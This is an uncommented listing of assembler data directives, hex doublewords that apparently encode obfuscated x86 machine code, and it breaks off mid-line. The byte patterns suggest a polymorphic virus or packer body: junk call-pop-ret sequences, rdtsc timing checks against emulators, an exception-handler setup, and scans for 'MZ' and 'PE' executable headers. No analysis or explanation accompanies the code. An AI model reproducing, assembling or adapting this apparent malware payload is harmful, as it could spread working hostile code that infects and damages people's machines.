0F685h dd 5B96600h, 185C600h, 47064E04h, 0F5AEF380h, 4E8h, 0FB5E200h dd 17880F8Ah, 50000000h, 0F616052h, 9E831h, 0B2C40000h dd 6B91DB79h, 595C5392h, 6650585Ah, 448BD88Bh, 0BB600424h dd 0D621B3h, 8B610FB6h, 8920B700h, 0F042444h, 1887h, 11E96000h dd 0C3000000h, 0CFC89E1Dh, 0DCEF76AAh, 97738FF6h, 5B395D25h dd 89515861h, 4E06159Dh, 0B5895F06h, 64E0661h, 24C9B5FFh dd 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0E8A526C3h, 8BE9EB28h, 4E294195h, 58DF8106h dd 0F17A2A0h, 858DCBBFh, 6517D21h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 4BC35141h, 1BE75084h, 8B17EAB9h dd 4E1359BDh, 0FF8DB606h, 95BD8BD0h, 89064E12h, 4E1B4185h dd 45BD2306h, 83064E0Eh, 4E0B89BDh, 850F0006h, 0B3h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0BFC35242h, 70D53475h dd 0C6D4FABAh, 4E040185h, 958B5606h, 64E08D9h, 46EAA68h dd 10E991h, 0C0AE0000h, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh dd 481738Ch, 1AFE8F24h, 0E19D8B43h, 0FF064E18h, 4E24C9B5h dd 559D8B06h, 8D064E0Ch, 517D2185h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0FD08B99h dd 688h, 558D8B00h, 0FF064E14h, 0F38166D0h, 85899530h dd 64E0B89h, 0BE853h, 65EC0000h, 0CF3DA62Dh, 0DDCFCC9h dd 0C65A5FABh, 4E040185h, 0BD896C06h, 64E25EDh, 6DB42968h dd 0F5250BDh, 68Dh, 0F525000h, 0F585A31h, 60525031h, 5A310F61h dd 81585A58h, 0BC5A2404h, 6A1D97h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 8D8B4EC3h, 0D30B83A1h dd 8D9D8BF4h, 60064E2Dh, 0A005BE66h, 61D78B66h, 25D1B5FFh dd 6A064Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 146F55C3h, 858D5750h, 64E39D8h, 21558589h dd 0D0FF064Eh, 12E8h, 20A38D00h, 0BD69F57Bh, 8809DFAh dd 53E9C147h, 0F69EE1Dh, 388h, 0D1E98000h, 4D85895Bh, 6A065226h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 5DA5C350h, 9D89046Ah, 64E0B21h, 4E8h, 100000h dd 5085B500h, 8E85250h, 2F000000h, 5870A39Dh, 0B362D9B4h dd 310F59FEh, 585AF88Bh, 424448Bh, 1996B966h, 870F008Bh dd 0 dd 4244489h, 0E8605250h, 13h, 0BF724BEDh, 0C21AE6Ah, 0F53FA171h dd 0BF08E885h, 59E789A0h, 5A310F61h, 0B5095858h, 64E3025h dd 6886C780h, 0C0113DBEh, 481FEB1h, 0EFC24224h, 56006A3Fh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 4B50F8EEh, 896C7037h, 4E271195h, 6A006A06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 516BC350h, 0E5CDCCF2h, 0B1BD8995h, 0FF064E07h, 4E061995h dd 8E906h, 15CA0000h, 7324397Ch, 8589591Ah, 6522659h, 11CD8D29h dd 0C381064Eh, 19F3127Fh, 820F006Ah, 6, 77D9589h, 0D668064Eh dd 0FCB0F8Ah, 0D82h, 0B9525000h, 35ECDEE5h, 0EE8A310Fh dd 481585Ah, 0F1752A24h, 0D88B6634h, 50D88A90h, 5E8h, 1BD96F00h dd 0BE8667Bh, 60000000h, 169F296Fh, 0D517BA77h, 52500871h dd 585A310Fh, 8B905A5Fh, 4E2B1D9Dh, 8B0B6A06h, 4E10A5BDh dd 26858D06h, 8B065226h, 4E2B4195h, 8B669006h, 0DE850D9h dd 81000000h, 9EBD657Ch, 63BDA868h, 0AD96F7BBh, 59CA8B66h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0CE10A656h, 5302C33Bh, 95FF924Ch, 64E1361h dd 0A37AB966h, 2630B58Dh, 6A0652h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0C9000DC3h, 3F85827Fh dd 0EDBD8949h, 50064E07h, 3489D98Bh, 0AF31BF24h, 0B950662Dh dd 69C7D142h, 8B240489h, 4E096195h, 4195FF06h, 89064E1Bh dd 4E30A585h, 0B7D0FF06h, 59B58B59h, 66065226h, 0C7A812BBh dd 52265185h, 6, 8D896000h, 64E07A1h, 10E851h, 161D0000h dd 94D460E5h, 6EB782B1h, 0B742AE4Dh, 5F58E4AEh, 207E8061h dd 0B7840F00h, 0F5000002h, 59D2960h, 0E9064E13h, 12h, 0E343514Ah dd 0CEA6C57h, 6BD1DF0h, 0F5F31FC3h, 468D06D1h, 57006A20h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0FC1AAC0Eh, 9509FC07h, 64E0F29h, 3095958Bh, 8589064Eh dd 6522655h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 82C35343h, 89967BEBh, 71C3C0CDh, 0DA8B668Eh, 317D958Bh dd 4BE9064Eh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0FEE8C355h, 0A02634B0h dd 6A40FD36h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0B3C6C353h, 3E092B15h, 2D0D9529h dd 3880064Eh, 0CF850F00h, 0FFFFFFFh, 588h, 3ED1B900h, 7E91C69h dd 0B1000000h, 0B35648FFh, 388059DBh, 76840F5Ch, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 27C7C352h, 3E83BED2h, 0F469473h, 0C83h, 6800F00h dd 0F000000h, 89h, 2F388000h, 37840Fh, 8C0F0000h, 0 dd 2655853Bh, 830F0652h, 0FFFFFFA1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0D9C35141h, 1795305h, 4E2C7DB5h dd 0BD834006h, 652265Dh, 76840F00h, 0F5000000h, 0F525090h dd 58Bh, 0A59DBA00h, 310F2BDAh, 585ADE8Bh, 13E950h, 0E2770000h dd 79CACFE8h, 0A2EB203h, 3D8496ACh, 7AD5A695h, 9D099096h dd 64E28EDh, 265D8503h, 6A0652h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0C1412EC3h, 3EE04623h dd 3800FB2h, 66000000h, 0C6D68Bh, 0DD8D8900h, 58064E02h dd 4FDF8166h, 0BB6650AFh, 489C4BCh, 0F88B6624h, 2649B5FFh dd 0D6BF0652h, 0FF5A6600h, 52264D95h, 0E9CB8106h, 0B4F31D7h dd 79850FC0h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0B79CC352h, 0B8601558h dd 58C5C46Bh, 1915B589h, 6161064Eh, 16B1BD8Bh, 85C7064Eh dd 6522651h, 1, 55E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 364A9099h, 0F88BC8A7h dd 1735B589h, 9E9064Eh, 75000000h, 0B7E1FEFBh, 0B8AA7107h dd 998D8B61h, 81064E20h, 11CC6h, 1958B00h, 0E9064E16h dd 0FFFFFD45h, 1F2DB529h, 4E8064Eh, 0 dd 52000080h, 5BDF8B66h, 0CF8B6650h, 424448Bh, 0ABB008Bh dd 894DC01Eh, 50042444h, 0D9BF6052h, 617220A7h, 0BB66310Fh dd 585AFA88h, 0E111BB58h, 6A7F01h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 6DC35545h, 113D8589h, 0B5FF064Eh dd 6522659h, 6870Fh, 0BD8B0000h, 64E0C71h, 0B8995FFh, 850F064Eh dd 8, 0DD9D8B50h, 5F064E20h, 51858BF9h, 3065226h, 4E189D8Dh dd 0BA509006h, 22209763h, 52505059h, 0FDF8B66h, 0AE931h dd 56520000h, 769AB96Bh, 63E4C1Fh, 8B90585Ah, 61858DD6h dd 6A065226h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 58F2C356h, 89D1CEC6h, 0B58911A6h dd 64E2FA5h, 24048950h, 0BED28166h, 1E858D09h, 6A065226h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 73AFC352h, 0EA93D9B7h, 8B665009h, 240489DFh dd 6810Fh, 0BD8B0000h, 64E25D5h, 2CB995FFh, 0E960064Eh dd 0Dh, 0C741BCD5h, 0E76F3Eh, 78B83723h, 0D9B70F38h, 83C08B61h dd 4E2D45BDh, 9750006h, 19E1BD83h, 7400064Eh, 8B535013h dd 4D0B8C0h, 9D8D0000h, 650B77Ch, 585BD3FFh, 19E1BD83h dd 7400064Eh, 0B8535011h, 4D0h, 0B67B9D8Dh, 0D3FF0650h dd 8DBB585Bh, 0F5E28CDh, 68Ah, 0ADBD8B00h, 81064E18h, 0D72A0EE9h dd 81C08B22h, 7D81E9E1h, 6A5855h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 77219BC3h, 0DAA33F5Fh dd 0A6D3803Fh, 230008C2h, 4E1A25BDh, 6AC08B06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0EBF4C356h, 0CBBCD7C5h, 2674858Dh, 9D8B0652h, 64E26B1h dd 7F98589h, 0BA064Eh, 81F00DE0h, 0EAh, 14C283F0h, 2FF19589h dd 0EA83064Eh, 62858D14h, 50065233h, 35FF64h, 64000000h dd 2589h, 0E80000h, 58000000h, 25C22Bh, 66FFFFF0h, 5A4D3881h dd 12850Fh, 0B70F0000h, 0D0033C50h, 45503A81h, 840F0000h dd 0Ah, 10002Dh, 0FFD9E900h, 0C88BFFFFh, 103D8589h, 4003064Eh dd 50B70F3Ch, 71958906h, 8B064E0Bh, 95895050h, 64E12B9h dd 0F805h, 0C508B00h, 9589D103h, 64E2B3Dh, 89085003h, 4E259195h dd 58F6406h, 0 dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0 dd 59000010h, 83C3C033h, 4E19F1BDh, 840F0006h, 24h, 40185C6h dd 6847064Eh, 0D49AA7D2h, 24C9B5FFh, 858D064Eh, 6517D21h dd 6AD0FFh, 8589D0FFh, 64E1275h, 0AE8D38Bh, 18000000h dd 4CBCCAF8h, 7B9F2425h, 9ABE59EAh, 817006DBh, 6147C1h dd 2A6FBE00h, 0D22B109Ch, 91E6C081h, 34FF4554h, 0EB815B0Ah dd 6CF4B3C1h, 81FB8B66h, 0AC815DF3h, 1BF48039h, 8DBDF381h dd 10E8080Eh, 0F2000000h, 88C44A2Eh, 0E0A8358Ah, 522E0A40h dd 66970F71h, 27C4C881h, 111C8958h, 0D081FE8Bh, 3D2809A1h dd 0F5BDEA81h, 0D8801DF8h, 0B9C28135h, 0E81DF8F5h, 9, 0F5A9F29Ch dd 1C03E34Fh, 0FA815870h, 0FFFF9F48h, 0FF94850Fh, 0B866FFFFh dd 8B60DB9Eh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 3B7E53F4h, 2D45BD83h, 7500064Eh dd 0E1BD8309h, 64E19h, 53501974h, 38B8C08Bh, 89000004h dd 4E21B985h, 419D8D06h, 0FF0650B9h, 83585BD3h, 4E19E1BDh dd 17740006h, 38B85350h, 89000004h, 4E21B985h, 309D8D06h dd 0FF0650B6h, 81585BD3h, 0F6C2F5DFh, 55006A27h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 256D5BE4h, 5E8A1BBh, 0A3000000h, 0A5382C95h, 5EF8B70Fh dd 8F0FC08Bh, 3, 33FA8B66h, 4E0FC9BDh, 83CE806h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0F197DFC3h, 0FFBE1684h, 0D985017Eh, 89064E12h, 4E10FD85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0CE5484BFh, 0E8FB8B37h, 7E6h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 78C35040h, 815C3395h dd 9C363CC9h, 5585891Bh, 6A064E16h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 371FC350h dd 0BF66B814h, 93E84D3Fh, 6A000007h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 6023C355h dd 19D18589h, 6A064Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 385D4AC3h, 0E3F6688Ch, 51BD8BD8h dd 0E8064E02h, 742h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 7EC35040h, 8D8BC016h, 64E1B59h, 6850Fh dd 0D6810000h, 32BFB19Fh, 2F798589h, 6A064Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 994230C3h dd 6E9E8h, 0AE900h, 88360000h, 5239227Ch, 245ABF22h, 0B158589h dd 6A064Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0E816AC3h, 2A6B89CCh, 880F5D6Bh, 0 dd 6A5E8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 1BD07FA7h, 6CEBBDE0h, 0BF0FFB1Eh dd 71BD31F7h, 89064E2Dh, 4E183585h, 718D8B06h, 81064E0Fh dd 63EC4BF1h, 660E800h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8B413EC3h, 4E0FBD8Dh dd 8589F906h, 64E20F1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 3AC35040h, 8166FA24h, 0E86BD8D1h, 60Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C3C35040h dd 353B0884h, 89835E7Fh, 4E219D95h, 85858906h, 8B064E11h dd 4E2CA5BDh, 5D4E806h, 67B90000h, 8978A996h, 4E1A2985h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 8958FDCCh, 4E113D9Dh, 5A0E806h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0FF8DD1C3h, 0BF0FDD77h, 10E9CEh, 0D1F30000h, 10DD5BF4h dd 4665B79Fh, 61105F42h, 85895047h, 64E0EE5h, 1F899D89h dd 6052064Eh, 8AC68B66h, 0E85F61D0h, 54Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 8AC35646h, 9E998h dd 0C100000h, 0CC228136h, 890A329Dh, 4E162D85h, 518E806h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 63CAF9C3h, 260D9589h, 8531064Eh, 64E0541h dd 64D8589h, 0E3E8064Eh, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 356EC357h dd 117D8589h, 8589064Eh, 64E172Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 20C35242h, 5EF6ED3Bh, 31BA1F74h dd 4E2CAD85h, 48CE806h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 85897CC3h, 64E2899h dd 0F78166F8h, 5FE8E2CDh, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 7A2EC356h dd 13495F31h, 8BBF4144h, 0F5B529FBh, 89064E18h, 4E059585h dd 31BD8B06h, 0E8064E1Ah, 422h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 61C35646h, 616A2851h, 695BD8Bh dd 8589064Eh, 64E26F5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 83C35242h, 8B99CB73h, 4E1791B5h, 6A00B006h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 9A29C351h, 69BD8B86h, 0BE064E2Bh, 54576E71h dd 0E9D8B60Fh, 6, 1431E1B0h, 6BAAE02h, 8B000000h, 4E1A09BDh dd 0C1C38B06h, 6A04E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 6F4817C3h, 8B9241C1h, 7F9EBEF3h dd 0F76655D9h, 2D8D8BE2h, 2B064E33h, 51006AD8h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 5559132Ch dd 8B665072h, 241C89FEh, 0EFD8D8Bh, 95FF064Eh, 64E2FCDh dd 0BD335BF9h, 64E0DD5h, 0ED5958Dh, 6A064Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0B0D3CC3h dd 2189BD8Bh, 1A89064Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 23C35141h, 29611AEBh, 4289F549h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 50CD1962h, 30B1958Dh, 6A064Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 4A34B4C3h, 0FE902h, 6FF70000h dd 8C9E3926h, 9575616h, 0E68593A2h, 0F28B66ECh, 8D311A89h dd 64E062Dh, 66044289h, 958DFB8Bh, 64E1789h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0E3C35646h, 0D02DD7BCh dd 0DCC3FD99h, 89FA8B66h, 0B58B601Ah, 64E0539h, 4428961h dd 0BA9DE781h, 958D0B44h, 64E1151h, 0AFD786BEh, 6A1A8969h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0D4E9C352h, 668DB5AFh, 89C0DEBFh, 6A0442h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0B2974AC3h, 0A1B589BAh, 57064E0Eh, 59F6B70Fh, 2559958Dh dd 6A064Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0CFE49BC3h, 0DDC06716h, 8166F8F7h, 890104DFh dd 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0BD45F3EFh, 4289D4BEh, 0FEB70F04h, 14E9h dd 0DB116D00h, 0CA29B0C9h, 17B559B3h, 95A95276h, 0A6809BEAh dd 0D5958D6Ah, 6A064E02h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 4E40C356h, 57A6A7B4h dd 66B973D9h, 1A89C88Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 98C35646h, 0ADD2643Ah, 8A65F30Fh, 6E8E0h dd 0CE8B0000h, 847790BCh, 358D8960h, 0BF064E1Fh, 4FDBA373h dd 0B70F5E61h, 44289F6h, 915958Dh, 6A064Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0FA35ECC3h dd 800534A5h, 8E8E8E0h, 0F8000000h, 18C5823Fh, 66E14C58h dd 5F089ABFh, 2B39BD8Bh, 1A89064Eh, 6A044289h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0D1D7C357h, 0A6A1E670h, 60FE1E39h, 0FFDE8166h, 0B9BD8B32h dd 61064E0Bh, 28C9958Dh, 6A064Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 6722EAC3h, 9282DA6Ch dd 0BE661A89h, 428996B7h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 2F517E49h dd 0A60B88FBh, 8AE973h, 8E0F0000h, 6, 264D9D89h, 6A064Eh dd 7E951h, 0DB510000h, 0CC40E09h, 6A5E8Ah, 6860Fh, 8D8B0000h dd 64E14B9h, 890F006Ah, 8, 0FDB58B50h, 5E064E0Eh, 9509006Ah dd 64E30C5h, 13AD95FFh, 6A064Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0B79DDBC3h, 0C37CD353h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 80C35040h dd 0F9347965h, 8A0FC58Ah, 8, 2850Fh, 0C88B0000h, 6AC08Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8B0452C3h, 45BD83F8h, 64E2Dh, 0BD830975h, 64E19E1h dd 50197400h, 0B8C08B53h, 438h, 30018589h, 9D8D064Eh, 650B9A8h dd 585BD3FFh, 19E1BD83h, 7400064Eh, 0B8535017h, 438h, 30018589h dd 9D8D064Eh, 650B649h, 585BD3FFh, 31819D89h, 0F78B064Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 35C35040h dd 0DBD09E5h, 8B064E10h, 61858DC0h, 6A064E10h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0A36C357h, 0C781C8C4h, 74D742E7h, 6640EB80h dd 0CA41CB81h, 89D98B50h, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0CF5413C3h, 0F7C7386h dd 1E84h, 188B0F00h, 0E8000000h, 12h, 0FF3F4B58h, 4BE69A09h dd 0E0707B7Dh, 0C04B6BB8h, 6A5F2BD1h, 64BF6600h, 81006A2Ch dd 0FF172BC3h, 37858D0Ch, 66065240h, 13E9FA8Bh, 0C0000000h dd 6A81AE0Ah, 4C097970h, 90D688C0h, 87355341h, 0C083E58Dh dd 31858905h, 90064E02h, 6E9h, 3BB7F500h, 509CBC7Ah, 7E9h dd 9973B900h, 0A659E2CEh, 56BB6690h, 6A006AA0h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 59EAC356h, 93154BDEh, 0D982CBA6h, 89D8BF0Fh, 4E0D2D8Dh dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 349FC356h, 2AC89337h, 8BD98B66h dd 4E07BDBDh, 8595FF06h, 0F064E08h, 8Ah, 498D8D00h, 0FF0651AFh dd 50006AD1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 4D7DBD2Ah, 0BD8399B3h, 64E2649h, 6A850F01h dd 0F000000h, 1281h, 0DE900h, 343A0000h, 9118F4A0h, 40DF948Ah dd 0F5F0A53h, 26AFEBFh, 8794EF81h, 57507E39h, 9E8h, 3D3EA500h dd 0B3407F97h, 5B5FB3EFh, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9F20C356h dd 5A181787h, 0D755BF66h, 1A0595FFh, 0B460064Eh, 0DA8B663Eh dd 0E06E961h, 0E80000h, 5D000000h, 4041ED81h, 6A0652h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 5BA30EC3h, 0B58ECAD2h, 13E975A6h, 7A000000h, 681188B1h dd 1411BC05h, 3EB3E122h, 36808BA3h, 5052131Dh, 5BDAB70Fh dd 0A9858D5Bh, 0BF065192h, 3DEC898Bh, 11E890h, 777A0000h dd 0C7C3EEh, 5B2631C3h, 0D1F9E977h, 5F69C902h, 0BB665250h dd 905B1B49h, 102DBD8Bh, 0FF64064Eh, 35h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0F06C538h, 68Ch, 21858900h, 89064E29h, 4E001DB5h, 25896406h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0D2C35545h dd 252EE7EDh, 0BF668CBEh, 85FF6CE4h, 64E08D5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 5EC35646h, 0C02D263h dd 0E9325308h, 12h, 0E84259C6h, 0A27C082Fh, 0D139C3C8h dd 51147EC2h, 9D8B21E5h, 64E0F91h, 3860Fh, 0B70F0000h dd 89FF6AFEh, 4E06958Dh, 0FDB5FF06h, 8B064E10h, 4E11D99Dh dd 0D95FF06h, 0E9064E1Bh, 0F6h, 8B6600B0h, 8B70E6DAh, 3C71E4FAh dd 0E3830F61h, 66000000h, 8B72ACBBh, 4E0CA59Dh, 0C8B60F06h dd 6BAh, 0E9816000h, 557D438Ch, 86D78166h, 0C18B611Eh dd 6E9h, 0FD318800h, 0C1B81E6Bh, 0BD8904E8h, 64E252Dh dd 0DECB8166h, 0E2F766C8h, 0F35AD781h, 0C82B2ED9h, 0B693CB81h dd 0D18B3D39h, 8870Fh, 3560000h, 4E2A85BDh, 0FE95B06h dd 0BC000000h, 2F67FB1Ch, 0A799FA31h, 59182C75h, 6E98E5Ch dd 1000000h, 4E2941BDh, 0D5858B06h, 89064E0Eh, 4E044D9Dh dd 7C08306h, 0A865CB81h, 0C08313E5h, 0D88B6600h, 830FD03Bh dd 11h, 2241B501h, 3BE9064Eh, 89000000h, 4E0E49B5h, 698D8B06h dd 8B064E29h, 4E0D1D9Dh, 1E18306h, 20840Fh, 0BF660000h dd 0A5835E0Ch, 64E2969h, 158D89FEh, 89064E26h, 4E0ED595h dd 75BB6606h, 0E967h, 0B58D0000h, 651C857h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 68C35242h, 6A5770h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0EBC35040h dd 597542B4h, 0F04BBB97h, 81B529C2h, 8B064E04h, 19D8BDEh dd 0FF064E12h, 4E1A5995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0D4D6A4ADh dd 18498529h, 0CBB9064Eh, 6A000007h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3316C351h dd 9D89E597h, 64E2B41h, 83D9BF0Fh, 5E8FCE1h, 0D7000000h dd 2DB4FC61h, 43D9D89h, 0FC5B064Eh, 38D9D89h, 0B8064Eh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0BF3DC352h, 6C69A28Fh, 60FE6994h dd 0E38166FCh, 8061B578h, 0BA59E3h, 89000000h, 4E11FDBDh dd 0C233AD06h, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD8BEC50h, 64E1849h, 1A419D89h, 0F852064Eh, 880D5Bh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 958B87C3h, 64E2B05h, 0C8E2BB66h, 2B658D8Bh dd 9D8B064Eh, 64E3071h, 12D18529h, 8B50064Eh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0D6C35747h, 6A4C36A1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0BB9AC357h, 45B501ECh, 89064E27h, 4E140585h, 8D8B6006h dd 64E0861h, 4DCACCBBh, 0BD836165h, 64E30FDh, 8A840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 32D6C350h, 1BD232B5h, 0E86050FAh dd 12h, 72BFB30h, 3A8B8D25h, 0FEE7FD95h, 0CF2DC435h, 8B5E8539h dd 0FC5B61DAh, 0B8h, 81B58900h, 8D064E0Bh, 4E4E108Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0E1FF6E80h, 2A51BD89h, 0EE9064Eh, 0E7000000h, 8D1B5B0Ah dd 0F730B9B1h, 0EDC8FC75h, 5DBD8355h, 64E06h, 442840Fh dd 81660000h, 83EDABD3h, 4E065DBDh, 840F0106h, 44Bh, 19958589h dd 0BD83064Eh, 64E065Dh, 2860F03h, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 9B4CC357h, 0EE580AD2h, 53387EFEh, 0CE8h, 0FD612600h dd 450C55DBh, 0DCB5FCF0h, 5F5BF9F4h, 52006A60h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0E781667Ah dd 0BD298C14h, 64E18EDh, 89D98C66h, 4E273DB5h, 4E18006h dd 0C7CF8166h, 159589F2h, 0A064E26h, 48840FC9h, 8B000001h dd 4E15759Dh, 29858B06h, 0F064E1Bh, 686h, 2DC38100h, 334C6BF4h dd 4E288D85h, 7D1DBF06h, 0E8500E2Dh, 13h, 0EB0F955Ch, 28CD61D6h dd 0E8B570D6h, 4B8B3C58h, 5B62A5A0h, 66240489h, 2661D381h dd 7B1BD8Bh, 6A064Eh, 10E9h, 0AB57F800h, 50985B91h, 95FBFA2Bh dd 52C38BD4h, 4E8F4h, 3FF0000h, 5250001Fh, 310F98B3h, 10E9h dd 0C38FC600h, 468CEE36h, 9EB4575Bh, 0F1B362C1h, 50585AC8h dd 6E95250h, 51000000h, 810B1948h, 60310FDDh, 50C88B66h dd 5A310F52h, 585A6158h, 424448Bh, 4840Fh, 0BF660000h dd 